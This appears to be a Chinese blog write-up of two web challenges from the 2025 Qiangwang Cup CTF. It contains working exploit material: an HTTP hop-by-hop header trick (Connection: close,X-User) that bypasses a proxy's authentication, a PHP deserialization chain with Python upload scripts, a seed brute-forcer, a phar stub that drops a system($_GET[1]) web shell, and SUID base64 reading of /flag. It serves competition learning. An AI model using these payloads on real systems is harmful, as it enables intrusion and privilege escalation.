强网杯 2025 部分web wp

image

这次我就做了两个web。跟V&N的兄弟们拿了个25名,勉强晋级决赛。这是V&N第一次打进强网正赛。我们创造了历史。

因为我时间比较紧张,就只写我做的两题了。

Web

2.Secret Vault

一个python的web app。flask。有个go的鉴权服务器。这个服务器有个后端,来自github.com/gorilla/mux,有一段签名逻辑,开在4444端口

go的鉴权服务器有个中间件。开在5555,会从主服务器(5000)中获取JWT密钥,验证并提取uid,然后删掉一些头:

        req.Header.Del("Authorization")
        req.Header.Del("X-User")
        req.Header.Del("X-Forwarded-For")
        req.Header.Del("Cookie")

然后将X-User设置为uid。

客户机向主服务器(5000)交一段JWT的auth信息,通过过中间件处理后,会返回uid。如果中间件验证失败就是anonymous,也就是鉴权失败。

他这个主服务器上的鉴权:

    def login_required(view_func):
        @wraps(view_func)
        def wrapped(*args, **kwargs):
            uid = request.headers.get('X-User', '0')
            print(uid)
            if uid == 'anonymous':
                flash('Please sign in first.', 'warning')
                return redirect(url_for('login'))
            try:
                uid_int = int(uid)
            except (TypeError, ValueError):
                flash('Invalid session. Please sign in again.', 'warning')
                return redirect(url_for('login'))
            user = User.query.filter_by(id=uid_int).first()
            if not user:
                flash('User not found. Please sign in again.', 'warning')
                return redirect(url_for('login'))

            g.current_user = user
            return view_func(*args, **kwargs)

        return wrapped

如果获取失败uid就是0,uid是0的用户正好是admin。

            user = User(
                id=0,
                username='admin',
                password_hash=password_hash,
                salt=base64.b64encode(salt).decode('utf-8'),
            )

所以我们现在就是要想个办法让中间件的返回头里没有 X-User

func main() {
    authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
        req.URL.Scheme = "http"
        req.URL.Host = "127.0.0.1:5000"

        uid := GetUIDFromRequest(req)
        log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
        req.Header.Del("Authorization")
        req.Header.Del("X-User")
        req.Header.Del("X-Forwarded-For")
        req.Header.Del("Cookie")

        if uid == "" {
            req.Header.Set("X-User", "anonymous")
        } else {
            req.Header.Set("X-User", uid)
        }
    }}

我们传入:

Connection: close,X-User

此时不管中间件传回怎样的X-User值,在客户机与中间件的Connection被Connection Header给close掉之后,也根据RFC HTTP1/1的规范(为了向下兼容)将X-User置空。因此我们得到了空的X-User。

uid = request.headers.get('X-User', '0')中,我们得到了uid为0的用户的登录权限。

之后我们直接就能看到明文flag。

最后的包:

GET /dashboard HTTP/1.1
Host: 39.106.47.249:33002
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.106.47.249:33002/login
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlZ2lzdHJhdGlvbiBzdWNjZXNzZnVsLiBQbGVhc2Ugc2lnbiBpbi4iXX1dfQ.aPL-ZA.tZC2005ISCmkE8hJbh-zz9iu_qE; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNCwibmJmIjoxNzYwNzU1MzA0LCJpYXQiOjE3NjA3NTUzMDQsInVpZCI6IjEifQ.gg-1I8lk7m-mvmWo0X7pSXY9auJQ31sn1G-gcUzRGro
Connection: close,X-User

flag{698d8138-f41d-4f03-9301-3b37f0b2dd7b}

3.EZ PHP

<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));

base64解码后:

function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test {
    public $readflag;
    public $f;
    public $key;

    public function __construct() {
        $this->readflag = new class {
            public function __construct() {
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
                    $time = date('Hi');
                    $filename = $GLOBALS['filename'];
                    $seed = $time . intval($filename);
                    mt_srand($seed);
                    $uploadDir = 'uploads/';
                    $files = glob($uploadDir . '*');
                    foreach ($files as $file) {
                        if (is_file($file)) {
                            unlink($file);
                        }
                    }
                    $randomStr = generateRandomString(8);
                    $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
                    $GLOBALS['file'] = $newFilename;
                    $uploadedFile = $_FILES['file']['tmp_name'];
                    $uploadPath = $uploadDir . $newFilename;
                    if (system("cp " . $uploadedFile . " " . $uploadPath)) {
                        echo "success upload!";
                    } else {
                        echo "error";
                    }
                }
            }

            public function __wakeup() {
                phpinfo();
            }

            public function readflag() {
                function readflag() {
                    if (isset($GLOBALS['file'])) {
                        $file = $GLOBALS['file'];
                        $file = basename($file);
                        if (preg_match('/:\/\//', $file)) {
                            die("error");
                        }
                        $file_content = file_get_contents("uploads/" . $file);
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
                            die("Illegal content detected in the file.");
                        }
                        include("uploads/" . $file);
                    }
                }
            }
        };
    }

    public function __destruct() {
        $func = $this->f;
        $GLOBALS['filename'] = $this->readflag;
        if ($this->key == 'class') {
            new $func();
        } else if ($this->key == 'func') {
            $func();
        } else {
            highlight_file('index.php');
        }
    }
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

我们正常走destruct看phpinfo

O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";}

这里禁止了很多。但是因为源码里有system所以我们可以直接用system去RCE。这个WAF就绕过去了。

观察源代码 我们思路就是:

  • 传个文件(传什么文件过会再说)

  • 调用到匿名类的readflag 使readflag被声明

  • 直接调用readflag

好。现在的问题是怎么调这个匿名类的readflag。

匿名类遵循这样的规则:

%00 + 函数 + 路径 : 行号$序号

但是这里是eval里注册的,我们起一个示例看看。

<?php
eval('$b = new class{};');
echo get_class($b);

随便注册一个eval里的动态函数你就能发现:

class@anonymous/tmp/sandbox.s0-s0;c428,c730/home/.code.tio(2) : eval()'d code0x7f26184710c7

这个行号是eval()'d code+数字。别的是一样的。

这个eval函数在第一行(所以括号里的行号是1),同时eval解出来之后所有函数都堆在一行(所以$前面的行号是第一行),所以不难推出他这个名字是:

\0readflag/var/www/html/index.php(1) : eval()\'d code:1$序号

还有就是,php反序列化时有:

$func = array('类名','函数名')

这样我们有匿名类类名就能调用到匿名类的readflag,这样就能声明到了。

很容易搓:

<?php
class test {
    public $readflag;
    public $f;
    public $key;

    public function __construct() {
        
    }
}

$a = new test();
$a -> readflag = 名字;
$a -> f = 'test';
$a -> key = 'class';
$b = new test();
$b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag');
$b -> key = 'func';

echo serialize($a);
echo '                           ';
echo serialize($b);

这里contruct里的东西全部都要删了。不然没法反序列化也没法序列化(php 7+)

搞完这个我们就可以稳定include了:

import requests
target = 'http://localhost:8000/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'

pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)

之后我们来想想这个文件传什么。

参考:https://fushuling.com/index.php/2025/07/30/当include邂逅phar-deadsecctf2025-baby-web/

同款构造方法。我们搞一个phar:

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('echo "<?php system(\$_GET[1]); ?>" > 1.php');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

改名为1,gzip压缩(不然你压缩完出来文件里有phar会被waf)

gzip 1

搞完1.gz 备用。

接下来我们就看看怎么去把phar搞到文件名里。这里我们发现:

                    $seed = $time . intval($filename);
                    mt_srand($seed);

filename可控。我们可以爆破种子去搞seed。使generateRandomString生成的文件名以phar开头。

这里直接找AI搓:https://chat.deepseek.com/share/u25k3dd01q3ly9h40t

<?php
date_default_timezone_set('Asia/Shanghai');
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}

// 获取当前时间(Hi格式)
$currentTime = date('Hi');
echo "当前时间: " . $currentTime . "\n";
echo "正在寻找前四个字符为 'phar' 的字符串...\n\n";

$found = false;
$attempts = 0;
$maxAttempts = 10000000; // 最大尝试次数,防止无限循环

// 尝试不同的整型后缀
for ($i = 0; $i < $maxAttempts; $i++) {
    $attempts++;
    
    // 构建种子:当前时间 + 整型数字
    $seed = $currentTime . $i;
    
    // 设置随机数种子
    mt_srand((int)$seed);
    srand((int)$seed); // 注意:generateRandomString 使用 rand() 而不是 mt_rand()
    
    // 生成随机字符串
    $randomString = generateRandomString(8);
    
    // 检查前四个字符是否为 "phar"
    if (substr($randomString, 0, 4) === 'phar') {
        echo "找到符合条件的字符串!\n";
        echo "种子: " . $seed . "\n";
        echo "生成的字符串: " . $randomString . "\n";
        echo "尝试次数: " . $attempts . "\n";
        $found = true;
        break;
    }
    
    // 每10000次显示一次进度
    if ($attempts % 10000 === 0) {
        echo "已尝试 " . $attempts . " 次...\n";
    }
}

if (!$found) {
    echo "在 " . $maxAttempts . " 次尝试内未找到符合条件的字符串。\n";
    echo "建议:\n";
    echo "1. 增加最大尝试次数\n";
    echo "2. 检查当前时间是否已变化\n";
    echo "3. 考虑使用更大的数字范围\n";
}
?>

这里记得设置时区!!!!!

然后我们就正常做就行,运行上面那个exp,爆破到当前分钟的种子:

然后把这玩意放到readflag属性里,上传1.gz:

import requests
# a:3:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"104206";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous/var/www/html/index.php(1) : eval()'d code:1$0";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:2;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}}
target = 'http://localhost:8000/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'

pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)

直接传,搞到1.php的shell。发现/flag要提权。

我们这里找一下SUID提权:

find / -user root -perm -4000 -print 2>/dev/null

发现有base64。参考:https://gtfobins.github.io/gtfobins/base64/

base64 "/flag" | base64 --decode

flag{145f3a7d-5596-4fb3-8092-90c15ebd3171}

后记

后面是一些感想。

首先,强网杯作为“全国性大赛”,其“全国”范围内不包含港澳台。作为一位香港人,我在此处烦请赛事组注意措辞。要么说明是中国大陆竞赛,要么就请支持港澳台参赛。不要让同胞白跑一趟。

今年九月之后我正式步入中六(高三)的生活了。每天被试题淹没的我真的很缺如此一场酣畅淋漓的CTF恢复心态。这次是真爆肝了一整个周末。ezphp一题我从第一天下午2点看到凌晨3点,又从第二天7点看到下午3点才解出来。

感谢队友的一路陪伴。最近我考试特别多,也忙得晕头转向的,我没想到居然能从CTF这里找到如此大的鼓励和安慰。感谢V&N的师傅们这次在我的17岁留下如此的回忆,就像你们往常做的那样。

在和队里的pwn手和web手一起做出来go2php这道web pwn之后,我明白,CTF从来不是一个人的游戏。没有MVP,也没有躺赢狗。少一个人都赢不了比赛。这是我们热血沸腾的组合技。

热泪盈眶,不知所言。

posted @ 2025-10-21 21:20  LamentXU  阅读(413)  评论(1)    收藏  举报